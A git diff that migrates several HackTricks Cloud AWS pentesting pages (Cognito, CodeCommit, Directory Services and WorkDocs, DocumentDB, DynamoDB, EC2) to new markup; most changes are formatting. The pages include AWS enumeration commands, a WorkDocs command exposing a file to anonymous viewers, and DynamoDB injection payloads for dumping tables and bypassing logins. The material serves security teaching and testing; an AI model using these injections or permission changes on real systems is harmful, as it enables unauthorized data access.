@@ -452,7 +431,7 @@ print(refresh(client_id, token))
 
 </details>
 
-### CUSTOM\_AUTH
+### CUSTOM_AUTH
 
 In this case the **authentication** is going to be performed through the **execution of a lambda function**.
 
@@ -475,20 +454,17 @@ Note that even if a group is inside a group with an IAM role attached, in order
 
 Another requisite to get the **IAM role indicated in the IdToken** when a user is authenticated in the User Pool (`aws cognito-idp initiate-auth...`) is that the **Identity Provider Authentication provider** needs indicate that the **role must be selected from the token.**
 
-<figure><img src="../../../../.gitbook/assets/image (250).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (250).png" alt=""><figcaption></figcaption></figure>
 
 The **roles** a user have access to are **inside the `IdToken`**, and a user can **select which role he would like credentials for** with the **`--custom-role-arn`** from `aws cognito-identity get-credentials-for-identity`.\
 However, if the **default option** is the one **configured** (`use default role`), and you try to access a role from the IdToken, you will get **error** (that's why the previous configuration is needed):
 
-{% code overflow="wrap" %}
 ```
 An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN.
 ```
-{% endcode %}
 
-{% hint style="warning" %}
-Note that the role assigned to a **User Pool Group** needs to be **accesible by the Identity Provider** that **trust the User Pool** (as the IAM role **session credentials are going to be obtained from it**).
-{% endhint %}
+> [!WARNING]
+> Note that the role assigned to a **User Pool Group** needs to be **accesible by the Identity Provider** that **trust the User Pool** (as the IAM role **session credentials are going to be obtained from it**).
 
 ```json
 {
@@ -513,17 +489,4 @@ Note that the role assigned to a **User Pool Group** needs to be **accesible by
 }js
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
similarity index 57%
rename from pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
index bc391a196..e660baf74 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -1,19 +1,6 @@
 # AWS - DataPipeline, CodePipeline & CodeCommit Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## DataPipeline
 
@@ -22,10 +9,10 @@ AWS Data Pipeline is designed to facilitate the **access, transformation, and ef
 1. **Access Your Data Where It’s Stored**: Data residing in various AWS services can be accessed seamlessly.
 2. **Transform and Process at Scale**: Large-scale data processing and transformation tasks are handled efficiently.
 3. **Efficiently Transfer Results**: The processed data can be efficiently transferred to multiple AWS services including:
-   * Amazon S3
-   * Amazon RDS
-   * Amazon DynamoDB
-   * Amazon EMR
+   - Amazon S3
+   - Amazon RDS
+   - Amazon DynamoDB
+   - Amazon EMR
 
 In essence, AWS Data Pipeline streamlines the movement and processing of data between different AWS compute and storage services, as well as on-premises data sources, at specified intervals.
 
@@ -42,9 +29,9 @@ aws datapipeline get-pipeline-definition --pipeline-id <ID>
 
 In the following page you can check how to **abuse datapipeline permissions to escalate privileges**:
 
-{% content-ref url="../aws-privilege-escalation/aws-datapipeline-privesc.md" %}
-[aws-datapipeline-privesc.md](../aws-privilege-escalation/aws-datapipeline-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-datapipeline-privesc.md
+{{#endref}}
 
 ## CodePipeline
 
@@ -65,9 +52,9 @@ aws codepipeline get-pipeline-state --name <pipeline_name>
 
 In the following page you can check how to **abuse codepipeline permissions to escalate privileges**:
 
-{% content-ref url="../aws-privilege-escalation/aws-codepipeline-privesc.md" %}
-[aws-codepipeline-privesc.md](../aws-privilege-escalation/aws-codepipeline-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-codepipeline-privesc.md
+{{#endref}}
 
 ## CodeCommit
 
@@ -111,19 +98,6 @@ git clone ssh://<SSH-KEY-ID>@git-codecommit.<REGION>.amazonaws.com/v1/repos/<rep
 
 ## References
 
-* [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html)
+- [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
similarity index 59%
rename from pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
index e659755c5..d3c99529b 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
@@ -1,19 +1,6 @@
 # AWS - Directory Services / WorkDocs Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Directory Services
 
@@ -23,17 +10,17 @@ AWS Directory Service for Microsoft Active Directory is a managed service that m
 
 Directory Services allows to create 5 types of directories:
 
-* **AWS Managed Microsoft AD**: Which will run a new **Microsoft AD in AWS**. You will be able to set the admin password and access the DCs in a VPC.
-* **Simple AD**: Which will be a **Linux-Samba** Active Directory–compatible server. You will be able to set the admin password and access the DCs in a VPC.
-* **AD Connector**: A proxy for **redirecting directory requests to your existing Microsoft Active Directory** without caching any information in the cloud. It will be listening in a **VPC** and you need to give **credentials to access the existing AD**.
-* **Amazon Cognito User Pools**: This is the same as Cognito User Pools.
-* **Cloud Directory**: This is the **simplest** one. A **serverless** directory where you indicate the **schema** to use and are **billed according to the usage**.
+- **AWS Managed Microsoft AD**: Which will run a new **Microsoft AD in AWS**. You will be able to set the admin password and access the DCs in a VPC.
+- **Simple AD**: Which will be a **Linux-Samba** Active Directory–compatible server. You will be able to set the admin password and access the DCs in a VPC.
+- **AD Connector**: A proxy for **redirecting directory requests to your existing Microsoft Active Directory** without caching any information in the cloud. It will be listening in a **VPC** and you need to give **credentials to access the existing AD**.
+- **Amazon Cognito User Pools**: This is the same as Cognito User Pools.
+- **Cloud Directory**: This is the **simplest** one. A **serverless** directory where you indicate the **schema** to use and are **billed according to the usage**.
 
 AWS Directory services allows to **synchronise** with your existing **on-premises** Microsoft AD, **run your own one** in AWS or synchronize with **other directory types**.
 
 ### Lab
 
-Here you can find a nice tutorial to create you own Microsoft AD in AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms\_ad\_tutorial\_test\_lab\_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html)
+Here you can find a nice tutorial to create you own Microsoft AD in AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html)
 
 ### Enumeration
 
@@ -54,17 +41,17 @@ aws ds describe-certificate --directory-id <id> --certificate-id <id>
 
 Note that if the **description** of the directory contained a **domain** in the field **`AccessUrl`** it's because a **user** can probably **login** with its **AD credentials** in some **AWS services:**
 
-* `<name>.awsapps.com/connect` (Amazon Connect)
-* `<name>.awsapps.com/workdocs` (Amazon WorkDocs)
-* `<name>.awsapps.com/workmail` (Amazon WorkMail)
-* `<name>.awsapps.com/console` (Amazon Management Console)
-* `<name>.awsapps.com/start` (IAM Identity Center)
+- `<name>.awsapps.com/connect` (Amazon Connect)
+- `<name>.awsapps.com/workdocs` (Amazon WorkDocs)
+- `<name>.awsapps.com/workmail` (Amazon WorkMail)
+- `<name>.awsapps.com/console` (Amazon Management Console)
+- `<name>.awsapps.com/start` (IAM Identity Center)
 
 ### Privilege Escalation
 
-{% content-ref url="../aws-privilege-escalation/aws-directory-services-privesc.md" %}
-[aws-directory-services-privesc.md](../aws-privilege-escalation/aws-directory-services-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-directory-services-privesc.md
+{{#endref}}
 
 ## Persistence
 
@@ -80,7 +67,7 @@ It's also possible to **add a user to a group inside AD** and **give that AD gro
 It's possible to share an AD environment from a victim to an attacker. This way the attacker will be able to continue accessing the AD env.\
 However, this implies sharing the managed AD and also creating an VPC peering connection.
 
-You can find a guide here: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1\_setup\_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html)
+You can find a guide here: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html)
 
 ### ~~Sharing AD (from attacker to victim)~~
 
@@ -94,7 +81,6 @@ AWS WorkDocs provides a web-based interface for users to upload, access, and man
 
 ### Enumeration
 
-{% code overflow="wrap" %}
 ```bash
 # Get AD users (Admin not included)
 aws workdocs describe-users --organization-id <directory-id>
@@ -123,25 +109,11 @@ aws workdocs describe-resource-permissions --resource-id <value>
 aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
 ## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>
 ```
-{% endcode %}
 
 ### Privesc
 
-{% content-ref url="../aws-privilege-escalation/aws-workdocs-privesc.md" %}
-[aws-workdocs-privesc.md](../aws-privilege-escalation/aws-workdocs-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-workdocs-privesc.md
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
new file mode 100644
index 000000000..0c97e360e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
@@ -0,0 +1,42 @@
+# AWS - DocumentDB Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## DocumentDB
+
+Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB.
+
+### Enumeration
+
+```bash
+aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
+aws docdb describe-db-instances #Get hostnames from here
+
+# Parameter groups
+aws docdb describe-db-cluster-parameter-groups
+aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name <param_group_name>
+
+# Snapshots
+aws docdb describe-db-cluster-snapshots
+aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier <snap_id>
+```
+
+### NoSQL Injection
+
+As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks:
+
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/nosql-injection
+{{#endref}}
+
+### DocumentDB
+
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-documentdb-enum.md
+{{#endref}}
+
+## References
+
+- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
similarity index 60%
rename from pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
index 97e9beeae..173d8f224 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
@@ -1,19 +1,6 @@
 # AWS - DynamoDB Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## DynamoDB
 
@@ -43,7 +30,7 @@ There is a GUI for local Dynamo services like [DynamoDB Local](https://aws.amazo
 
 ```bash
 # Tables
-aws dynamodb list-tables 
+aws dynamodb list-tables
 aws dynamodb describe-table --table-name <t_name> #Get metadata info
 ## The primary key and sort key will appear inside the KeySchema field
 
@@ -70,27 +57,27 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
 
 ### Unauthenticated Access
 
-{% content-ref url="../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md" %}
-[aws-dynamodb-unauthenticated-access.md](../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
+{{#endref}}
 
 ### Privesc
 
-{% content-ref url="../aws-privilege-escalation/aws-dynamodb-privesc.md" %}
-[aws-dynamodb-privesc.md](../aws-privilege-escalation/aws-dynamodb-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-dynamodb-privesc.md
+{{#endref}}
 
 ### Post Exploitation
 
-{% content-ref url="../aws-post-exploitation/aws-dynamodb-post-exploitation.md" %}
-[aws-dynamodb-post-exploitation.md](../aws-post-exploitation/aws-dynamodb-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-post-exploitation/aws-dynamodb-post-exploitation.md
+{{#endref}}
 
 ### Persistence
 
-{% content-ref url="../aws-persistence/aws-dynamodb-persistence.md" %}
-[aws-dynamodb-persistence.md](../aws-persistence/aws-dynamodb-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-persistence/aws-dynamodb-persistence.md
+{{#endref}}
 
 ## DynamoDB Injection
 
@@ -98,18 +85,19 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
 
 There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**.
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/sql-injection" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/sql-injection
+{{#endref}}
 
 ### NoSQL Injection
 
 In DynamoDB different **conditions** can be used to retrieve data, like in a common NoSQL Injection if it's possible to **chain more conditions to retrieve** data you could obtain hidden data (or dump the whole table).\
-You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API\_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
+You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
 
 Note that **different conditions** are supported if the data is being accessed via **`query`** or via **`scan`**.
 
-{% hint style="info" %}
-Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited).
-{% endhint %}
+> [!NOTE]
+> Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited).
 
 If you can **change the comparison** performed or add new ones, you could retrieve more data.
 
@@ -120,23 +108,22 @@ If you can **change the comparison** performed or add new ones, you could retrie
 "GT": " " #All strings are greater than a space
 ```
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/nosql-injection" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/nosql-injection
+{{#endref}}
 
 ### Raw Json injection
 
-{% hint style="danger" %}
-**This vulnerability is based on dynamodb Scan Filter which is now deprecated!**
-{% endhint %}
+> [!CAUTION]
+> **This vulnerability is based on dynamodb Scan Filter which is now deprecated!**
 
 **DynamoDB** accepts **Json** objects to **search** for data inside the DB. If you find that you can write in the json object sent to search, you could make the DB dump, all the contents.
 
 For example, injecting in a request like:
 
-{% code overflow="wrap" %}
 ```bash
 '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
 ```
-{% endcode %}
 
 an attacker could inject something like:
 
@@ -173,11 +160,9 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
 
 Some SDKs allows to use a string indicating the filtering to be performed like:
 
-{% code overflow="wrap" %}
 ```java
 new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
 ```
-{% endcode %}
 
 You need to know that searching in DynamoDB for **substituting** an attribute **value** in **filter expressions** while scanning the items, the tokens should **begin** with the **`:`** character. Such tokens will be **replaced** with actual **attribute value at runtime**.
 
@@ -190,17 +175,4 @@ Therefore, a login like the previous one can be bypassed with something like:
 # which is always true
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
similarity index 68%
rename from pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
index 3ba4235a8..a3c8bc9b9 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
@@ -1,27 +1,14 @@
 # AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## VPC & Networking
 
 Learn what a VPC is and about its components in:
 
-{% content-ref url="aws-vpc-and-networking-basic-information.md" %}
-[aws-vpc-and-networking-basic-information.md](aws-vpc-and-networking-basic-information.md)
-{% endcontent-ref %}
+{{#ref}}
+aws-vpc-and-networking-basic-information.md
+{{#endref}}
 
 ## EC2
 
@@ -29,16 +16,16 @@ Amazon EC2 is utilized for initiating **virtual servers**. It allows for the con
 
 Interesting things to enumerate in EC2:
 
-* Virtual Machines
-  * SSH Keys
-  * User Data
-  * Existing EC2s/AMIs/Snapshots
-* Networking
-  * Networks
-  * Subnetworks
-  * Public IPs
-  * Open ports
-* Integrated connections with other networks outside AWS
+- Virtual Machines
+  - SSH Keys
+  - User Data
+  - Existing EC2s/AMIs/Snapshots
+- Networking
+  - Networks
+  - Subnetworks
+  - Public IPs
+  - Open ports
+- Integrated connections with other networks outside AWS
 
 ### Instance Profiles
 
@@ -50,7 +37,9 @@ This extra step is the **creation of an** [_**instance profile**_](https://docs.
 
 AWS EC2 metadata is information about an Amazon Elastic Compute Cloud (EC2) instance that is available to the instance at runtime. This metadata is used to provide information about the instance, such as its instance ID, the availability zone it is running in, the IAM role associated with the instance, and the instance's hostname.
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+{{#endref}}
 
 ### Enumeration
 
@@ -85,7 +74,7 @@ aws ec2 describe-snapshots --owner-ids self
 aws ec2 describe-scheduled-instances
 
 # Get custom images
-aws ec2 describe-images --owners self 
+aws ec2 describe-images --owners self
 
 # Get Elastic IPs
 aws ec2 describe-addresses
@@ -96,7 +85,7 @@ aws ec2 get-console-output --instance-id [id]
 # Get VPN customer gateways
 aws ec2 describe-customer-gateways
 aws ec2 describe-vpn-gateways
-aws ec2 describe-vpn-connections 
+aws ec2 describe-vpn-connections
 
 # List conversion tasks to upload/download VMs
 aws ec2 describe-conversion-tasks
@@ -118,7 +107,7 @@ aws ec2 describe-key-pairs
 aws ec2 describe-internet-gateways
 
 # Get NAT Gateways
-aws ec2 describe-nat-gateways 
+aws ec2 describe-nat-gateways
 
 # Get subnetworks
 aws ec2 describe-subnets
@@ -136,29 +125,29 @@ aws ec2 describe-network-interfaces
 aws ec2 describe-route-tables
 
 # Get VPCs
-aws ec2 describe-vpcs 
+aws ec2 describe-vpcs
 aws ec2 describe-vpc-peering-connections
 ```
 
 ### Unauthenticated Access
 
-{% content-ref url="../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md" %}
-[aws-ec2-unauthenticated-enum.md](../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
+{{#endref}}
 
